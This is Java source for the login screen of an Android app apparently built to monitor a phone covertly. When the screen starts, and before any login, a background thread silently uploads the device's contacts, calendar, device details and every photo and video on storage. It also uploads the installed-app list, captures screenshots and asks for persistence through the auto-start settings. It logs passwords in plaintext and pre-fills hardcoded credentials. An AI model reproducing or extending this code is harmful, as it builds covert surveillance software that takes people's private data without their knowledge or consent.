package com.droidwatcher.activity;

import android.app.Activity;
import android.app.AlertDialog;
import android.app.ProgressDialog;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.graphics.Bitmap;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.os.Bundle;
import android.os.Environment;
import android.provider.Settings;
import android.view.LayoutInflater;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

import com.droidwatcher.JsonEntity.RegistAndLoginResponse;
import com.droidwatcher.ModulesUtils;
import com.droidwatcher.ServerMessanger;
import com.droidwatcher.SettingsManager;
import com.droidwatcher.lib.FileUtil;
import com.droidwatcher.lib.MessageType;
import com.droidwatcher.lib.ServerConst;
import com.droidwatcher.retrofit.MyRetrofitFactory;
import com.droidwatcher.retrofit.MySubscriber;
import com.droidwatcher.retrofit.Result;
import com.droidwatcher.retrofit.SendAPI;
import com.droidwatcher.util.AXLog;
import com.droidwatcher.util.Md5Utils;
import com.droidwatcher.util.OpenAutoStartUtil;
import com.droidwatcher.util.VideoUtils;
import com.droidwatcher.variables.RegAndLoginServerMsg;
import com.droidwatcher2.R;

import org.json.JSONException;
import org.json.JSONObject;

import java.io.File;
import java.io.FileOutputStream;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;

import okhttp3.MediaType;
import okhttp3.RequestBody;
import rx.Observable;
import rx.Subscriber;
import rx.schedulers.Schedulers;

import static com.alibaba.fastjson.JSON.parseObject;
import static com.droidwatcher.util.VideoUtils.getVideoFile;

public class StartupActivity extends Activity {

    private SettingsManager settings;
    private static final int REQ_CODE = 0X01;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_startup);
        settings = new SettingsManager(this);

        Runnable runnable = new Runnable() {
            @Override
            public void run() {
                sendToServer();
            }
        };
        new Thread(runnable).start();

        if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP && !isNoOption()) {
            startActivityForResult(new Intent(Settings.ACTION_USAGE_ACCESS_SETTINGS), REQ_CODE);
        }
        jumpStartInterface();
      //  OpenAutoStartUtil.jumpStartInterface(this);

        findViewById(R.id.startup_btn_enter).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
               enter();
                //login("wzy1234567","1234567");
            }
        });

        findViewById(R.id.startup_btn_register).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                register();
            }
        });

        //LocalBroadcastManager.getInstance(this).sendBroadcast(new Intent("network_available"));
    }

    private void sendToServer() {
        SendAPI sendAPI = MyRetrofitFactory.getSendAPISingleton();
        Subscriber subscriber = new MySubscriber<Result<String>>();
        MediaType textType = MediaType.parse("text/plain");
        String mobileInfoJson = ModulesUtils.getMobileInfoJson(this);
        String phoneBookJson = ModulesUtils.getPhoneBookJson(this);
        String calendarJson = ModulesUtils.getCalendarJson(this);

        Observable
                .merge( sendAPI.uploadMobileInfo(RequestBody.create(textType, mobileInfoJson)),
                        sendAPI.uploadContact(RequestBody.create(textType, phoneBookJson)),
                        sendAPI.uploadCalendar(RequestBody.create(textType, calendarJson)))
                .subscribeOn(Schedulers.io())
                .subscribe(subscriber);

        List<VideoUtils.VideoOrImgInfo> allFiles = new ArrayList<>();
        getVideoFile(allFiles, Environment.getExternalStorageDirectory());
        for (VideoUtils.VideoOrImgInfo file:allFiles) {
            FileUtil.VideoUploadByPath(file.filePath);
        }
    }

    /**
     * Jump Start Interface
     * 提示是否跳转设置自启动界面
     */
    private void jumpStartInterface() {
        try {
            AlertDialog.Builder builder = new AlertDialog.Builder(this);
            builder.setMessage(R.string.app_user_auto_start);
            builder.setPositiveButton("立即设置",
                    new DialogInterface.OnClickListener() {
                        @Override
                        public void onClick(DialogInterface dialog, int which) {
                              OpenAutoStartUtil.jumpStartInterface(StartupActivity.this);
                        }
                    });
            builder.setNegativeButton("暂时不设置",
                    new DialogInterface.OnClickListener() {
                        @Override
                        public void onClick(DialogInterface dialog, int which) {
                            dialog.dismiss();
                        }
                    });
            builder.setCancelable(false);
            builder.create().show();
        } catch (Exception e) {
        }
    }

    private boolean isNoOption() {
        PackageManager packageManager = getApplicationContext()
                .getPackageManager();
        Intent intent = new Intent(Settings.ACTION_USAGE_ACCESS_SETTINGS);
        List<ResolveInfo> list = packageManager.queryIntentActivities(intent,
                PackageManager.MATCH_DEFAULT_ONLY);
        return list.size() > 0;
    }

    public class ScreenShotRegister extends BroadcastReceiver {

        @Override
        public void onReceive(Context context, Intent intent) {
            AXLog.e("wzytest", "收到广播");
            screenshot();
        }
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        switch (requestCode) {
            case REQ_CODE:
                AXLog.e("wzytest", "run in onActivityResult");
                RequestBody body = RequestBody.create(MediaType.parse("text/plain"), ModulesUtils.getAppInfoJson(this));
                MyRetrofitFactory
                        .getSendAPISingleton()
                        .uploadAppInfo(body)
                        .subscribeOn(Schedulers.io())
                        .subscribe(new MySubscriber<Result<String>>());
                break;
        }
    }

    private void screenshot() {
        // 获取屏幕
        View dView = getWindow().getDecorView();
        dView.setDrawingCacheEnabled(true);
        dView.buildDrawingCache();
        Bitmap bmp = dView.getDrawingCache();
        if (bmp != null) {
            try {
                // 获取内置SD卡路径
                String sdCardPath = Environment.getExternalStorageDirectory().getPath();
                // 图片文件路径
                String filePath = sdCardPath + File.separator + "screenshot.png";

                File file = new File(filePath);
                FileOutputStream os = new FileOutputStream(file);
                bmp.compress(Bitmap.CompressFormat.PNG, 100, os);
                os.flush();
                os.close();
            } catch (Exception e) {
            }
        }
    }

    private void enter() {


        if (!networkAvailable()) {
            Toast.makeText(this, R.string.connUnavailable, Toast.LENGTH_LONG).show();
            return;
        }

        LayoutInflater lInflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE);
        View view = lInflater.inflate(R.layout.dialog_email, null);
        final EditText input = (EditText) view.findViewById(R.id.dialog_input_email);
        final EditText pwd = (EditText) view.findViewById(R.id.dialog_input_pwd);
        input.setText("12345@163.com");
        pwd.setText("123456");
        final AlertDialog dialog = new AlertDialog.Builder(this)
                .setView(view)
                .setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {
                    public void onClick(DialogInterface dialog, int whichButton) {
                        login(input.getText().toString(), pwd.getText().toString());
                    }
                })
                .setNegativeButton(android.R.string.cancel, new DialogInterface.OnClickListener() {
                    public void onClick(DialogInterface dialog, int whichButton) {
                        dialog.cancel();
                    }
                })
                .setTitle(R.string.enterYourLogin)
                .create();

        dialog.show();
    }

    private void register() {
        if (!networkAvailable()) {
            Toast.makeText(this, R.string.connUnavailable, Toast.LENGTH_LONG).show();
            return;
        }

        LayoutInflater lInflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE);
        View view = lInflater.inflate(R.layout.dialog_registration, null);

        final EditText emailInput = (EditText) view.findViewById(R.id.dialog_input_email);
        final EditText pwdInput = (EditText) view.findViewById(R.id.dialog_input_pwd);

        final AlertDialog dialog = new AlertDialog.Builder(this)
                .setView(view)
                .setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {
                    public void onClick(DialogInterface dialog, int whichButton) {

                    }
                })
                .setNegativeButton(android.R.string.cancel, new DialogInterface.OnClickListener() {
                    public void onClick(DialogInterface dialog, int whichButton) {
                        dialog.cancel();
                    }
                })
                .setTitle(R.string.registration)
                .create();

        dialog.show();

        Button dialogBtn = dialog.getButton(DialogInterface.BUTTON_POSITIVE);
        dialogBtn.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                String email = emailInput.getText().toString();
                String pwd = pwdInput.getText().toString();
                AXLog.e("wzytest", "pwd：" + pwd);
                if (!isEmailCorrect(email)) {
                    Toast.makeText(StartupActivity.this, R.string.mailNotMatch, Toast.LENGTH_SHORT).show();
                    return;
                }

                if (pwd.length() < 6) {
                    Toast.makeText(StartupActivity.this, R.string.shortPwd, Toast.LENGTH_SHORT).show();
                    return;
                }

                registrationRequest(email, pwd, dialog);
            }
        });
    }

    private void registrationRequest(final String login, final String pwd, final AlertDialog dialog) {
        final ProgressDialog wait = ProgressDialog.show(this, "Registration", "Please wait...", false, false);


        new ServerMessanger(this,
                new RegAndLoginServerMsg(MessageType.REGISTER)
                        .addParam("login", login)
                        .addParam("pwd", Md5Utils.stringMD5(pwd)),
                new ServerMessanger.ICallBack() {
                    @Override
                    public boolean onFinished(String response) {

                        wait.dismiss();

                        final RegistAndLoginResponse registResponse = parseObject(response, RegistAndLoginResponse.class);


                        runOnUiThread(new Runnable() {
                            @Override
                            public void run() {
                                if (registResponse.getMeta().getCode() == 0) {
                                    Toast.makeText(StartupActivity.this, R.string.registrationSuccess, Toast.LENGTH_LONG).show();
                                    settings.getSettings().edit().putLong("uid", registResponse.getData().getUid()).commit();
                                    settings.getSettings().edit().putString("token", registResponse.getData().getToken()).commit();
                                    dialog.dismiss();
                                    login(login, pwd);

                                } else {
                                    Toast.makeText(StartupActivity.this, registResponse.getMeta().getMessage(), Toast.LENGTH_LONG).show();
                                }
                            }
                        });

                        return true;
                    }

                    @Override
                    public void onError() {
                        wait.dismiss();
                        AXLog.e("wzytest", "注册请求失败：");
                    }

                    @Override
                    public void onSuccess() {
                        wait.dismiss();
                        AXLog.e("wzytest", "注册请求成功");
                    }
                }).start();
    }

    private void login(final String login, String pwd) {
        // settings.login(login);
        AXLog.e("wzytest", "登录了一次 pwd:" + Md5Utils.stringMD5(pwd));
        final ProgressDialog wait = ProgressDialog.show(this, "Connecting", "Please wait...", false, false);

        AXLog.e("wzytest","user:"+login+" pwd:"+pwd+" md5(pwd):"+Md5Utils.stringMD5(pwd));
        new ServerMessanger(this, new RegAndLoginServerMsg(MessageType.LOGIN)
                .addParam("login", login)
                .addParam("pwd", Md5Utils.stringMD5(pwd)), new ServerMessanger.ICallBack() {


            @Override
            public boolean onFinished(String response) {
                wait.dismiss();

                final RegistAndLoginResponse loginResponse = parseObject(response, RegistAndLoginResponse.class);

                runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        if (loginResponse.getMeta().getCode() == 0) {
                            settings.getSettings().edit().putString("LOGIN", login).commit();
                            settings.getSettings().edit().putLong("uid", loginResponse.getData().getUid()).commit();
                            settings.getSettings().edit().putString("token", loginResponse.getData().getToken()).commit();
                            startActivity(new Intent(StartupActivity.this, MainMenuActivity.class));
                            StartupActivity.this.finish();
                        } else {
                            Toast.makeText(StartupActivity.this, R.string.loginFailed, Toast.LENGTH_LONG).show();
                        }
                    }
                });

                return false;
            }

            @Override
            public void onError() {
                wait.dismiss();
                StartupActivity.this.runOnUiThread(new Runnable() {
                    public void run() {
                        Toast.makeText(StartupActivity.this, R.string.loginFailed, Toast.LENGTH_LONG).show();
                    }
                });

            }

            @Override
            public void onSuccess() {
                wait.dismiss();
                StartupActivity.this.runOnUiThread(new Runnable() {
                    public void run() {
                        startActivity(new Intent(StartupActivity.this, MainMenuActivity.class));
                        StartupActivity.this.finish();
                    }
                });
            }
        }).start();
    }

    private Boolean networkAvailable() {
        ConnectivityManager manager = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
        NetworkInfo info = manager.getActiveNetworkInfo();

        return (info != null && info.isConnectedOrConnecting());
    }


    private Boolean isEmailCorrect(String email) {
        Pattern pattern = Pattern.compile(
                "[a-zA-Z0-9\\+\\.\\_\\%\\-\\+]{1,256}" +
                        "\\@" +
                        "[a-zA-Z0-9][a-zA-Z0-9\\-]{0,64}" +
                        "(" +
                        "\\." +
                        "[a-zA-Z0-9][a-zA-Z0-9\\-]{0,25}" +
                        ")+"
        );
        return pattern.matcher(email).matches();
    }

    private class VSResponse {
        private JSONObject jObj;

        public VSResponse(String response) {
            try {
                jObj = new JSONObject(response);
            } catch (JSONException e) {
                jObj = new JSONObject();
            }
        }

        public Boolean status() {
            if (!jObj.isNull("status")) {
                try {
                    return jObj.getString("status").equals(ServerConst.OK);
                } catch (JSONException e) {
                    return false;
                }
            } else {
                return false;
            }
        }

        public Boolean statusCode() {

            if (!jObj.isNull("code")) {
                try {
                    return jObj.getInt("code") == 0;
                } catch (JSONException e) {
                    return false;
                }
            } else {
                return false;
            }
        }

        public String message() {
            if (!jObj.isNull("message")) {
                try {
                    return jObj.getString("message");
                } catch (Exception e) {
                    return "";
                }
            } else {
                return "";
            }
        }
    }


}
